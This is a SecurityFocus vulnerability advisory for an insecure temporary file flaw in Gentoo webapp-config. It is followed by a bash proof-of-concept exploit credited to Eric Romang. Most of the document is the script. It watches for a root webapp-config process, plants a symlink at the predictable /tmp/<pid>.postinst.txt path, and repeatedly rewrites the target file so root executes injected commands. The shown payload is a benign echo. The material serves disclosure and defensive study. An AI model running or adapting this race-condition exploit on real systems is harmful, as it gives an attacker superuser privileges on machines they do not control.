source: https://www.securityfocus.com/bid/13780/info

Gentoo webapp-config is prone to an insecure file creation vulnerability. This issue is due to a design error that causes the application to fail to verify the existence of a file before writing to it.

An attacker may leverage this issue to cause arbitrary shell commands to be executed with superuser privileges. 

#!/bin/bash

# Eric Romang aka wow (eromang@zataz.net)
# webapp-config race condition how permit execution of arbitrary command with root privileges
# work with < webapp-config 1.10-r14

rm -f webapp-config_trace.txt fake_tmp_file /tmp/*.postinst.txt
touch ~/fake_tmp_file

echo "0" > webapp-config_trace.txt
status=`cat webapp-config_trace.txt`
echo "Waiting for webapp-config execution..."

while [ "$status" == 0 ]
do
	ps auxw|grep webapp-config|grep root 
	if [ "$?" == 0 ]
	then
		echo "1" > webapp-config_trace.txt
	fi
	status=`cat webapp-config_trace.txt`
done

echo "Process caught !"
process_id=`pgrep -u root webapp-config`
ln -s ~/fake_tmp_file /tmp/$process_id.postinst.txt
echo "fake_file_created!"
echo "we force the file to be overwritten"

echo "0" > webapp-config_trace.txt
status=`cat webapp-config_trace.txt`
echo "Waiting the end of webapp-config"
echo "during all the configuration we force the file to be overwritten"
while [ "$status" == 0 ]
do
	ps auxw|grep webapp-config|grep root
	if [ "$?" == 1 ]
	then
		echo "1" > webapp-config_trace.txt
	else
		echo "echo premature end of script; exit 1;" > ~/fake_tmp_file
	fi
	status=`cat webapp-config_trace.txt`
done
echo "end of webapp-config"